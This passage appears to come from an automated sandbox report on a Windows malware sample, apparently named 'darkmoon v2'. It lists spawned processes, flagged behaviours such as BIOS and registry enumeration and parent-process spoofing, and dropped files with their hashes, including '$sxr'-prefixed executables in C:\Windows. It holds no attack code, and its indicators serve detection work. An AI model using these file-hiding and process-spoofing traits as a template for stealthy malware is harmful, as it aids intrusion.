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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4152
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:1020
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:1048
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:1328
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:760
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:3028
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
PID:2580
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C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:4116
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:4644
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C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵PID:4112
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:5820 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 1140 -ip 11402⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4528
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER1A59.tmp.csv
- Size 40KB
- SHA256 ac4d083f930597499384c6aeea06c8cd8c66599a7d6088bae94cbfe48e50480f
- MD5 9684576742663f320eecd3d4ee7ba448
- SHA1 c2502e11c7ab7a56f83e0dade70921552c582d55
- SHA512 d07d9d626de25b4c0fa43a3108e8f3985a0bf70d9f13d3e663c420a131800f08dee0c68d6aeaeac8e81ec00ced5beeac9f8a3fb5bf22fba587b4e2bf4cb87afb
- SSDEEP 768:K0HovBoeoUeS8nit0qdE78db+VRwhG8hTVr4fV3KZBsW+WVsYRjf5h91zxiHm1LS:K0HovOsxdxb+Vj+rKViapWV5Rb1zCuS
- MD5 SHA1 SHA512 SSDEEP
- Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER1A89.tmp.txt
- Size 13KB
- SHA256 48e1a0e679fecc3f57a757a0596e5e2f201d9b065de07d0543b71fde72992c74
- MD5 0bd5169d53f685475cdb3d668a6933a0
- SHA1 091095e1987b5e4da9e361b2b407fbf1da2483ec
- SHA512 7929a0c52e67314d3db9eff22251e68c41e26a715b5c2166d43c21e05356c6da39c49502159bccc006ef2330d4204bbbfa22537c0dc2026fed1688e01a3afe94
- SSDEEP 96:4iefSnRPcrTYYBY7WesH2YEZp4WtZiVFWDawYhVCadu3wMJLeqIno3:NefpsWN3hoaduAMJLedno3
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sg21i41e.q1z.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe
- Size 442KB
- SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
- MD5 04029e121a0cfa5991749937dd22a1d9
- SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
- SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
- SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\$sxr-cmd.exe
- Size 283KB
- SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
- MD5 8a2122e8162dbef04694b9c3e0b6cdee
- SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
- SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
- SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\$sxr-mshta.exe
- Size 14KB
- SHA256 dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
- MD5 0b4340ed812dc82ce636c00fa5c9bef2
- SHA1 51c97ebe601ef079b16bcd87af827b0be5283d96
- SHA512 d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
- SSDEEP 192:Mp2bLg8CB95kCfjmRXKbpkSprJ6AdgxYsPvWw5aIR:MpMLgdrkCjm9KZJAXWw5
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
- Size 328B
- SHA256 297ce042c289c81b71a827a537defb9bb61bf29389fab213cb58d99f517653b9
- MD5 207d986b3a0430a80753fde556a84f3d
- SHA1 b961a986fa887a2a8db1115ce93ad37e58f45276
- SHA512 b3d2cb855d895f38ba5e593cf656cf9a263bf116bd98049e8de035984d0965643525b52f4acdf9b4b89873e88046ec02b6bb7bd291a16f555cbfb69d641346b6
- MD5 SHA1 SHA512
- Path C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749
- Size 330B
- SHA256 3adc8cb31677327eedfe1e8ed66e7d4ba1db0a7af19866628c6c34fdb3ae3492
- MD5 bc448bb37b8f59b37c06278145ceb6f5
- SHA1 09109e74fde8ec888c12a8e1a5e6292cfd2d8427
- SHA512 2f1b9fcda75b53e37fb9a1c1b4c0d60ce2dde0eb7873569f667fb51672cfc49ffda415626119217749b34ee29e31244d0958250a44ecd8c9005b8cf830cebce9
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187
- Size 412B
- SHA256 7d1fd976686a2ad8d1617da2c9e760b331ebc681046bc672b97ff274c27aad0f
- MD5 796a292b60682c6794ebbab70690a979
- SHA1 6d987c0f88b4191bffdd932739f1381ae256db62
- SHA512 ef178dde88903603882e1da34a1b3a6107a628fb18cc1058a7fa110db19ef498503aab244385224fd67b15a72f79852221ab0767bb228df63a5c0128854b238f
- MD5 SHA1 SHA512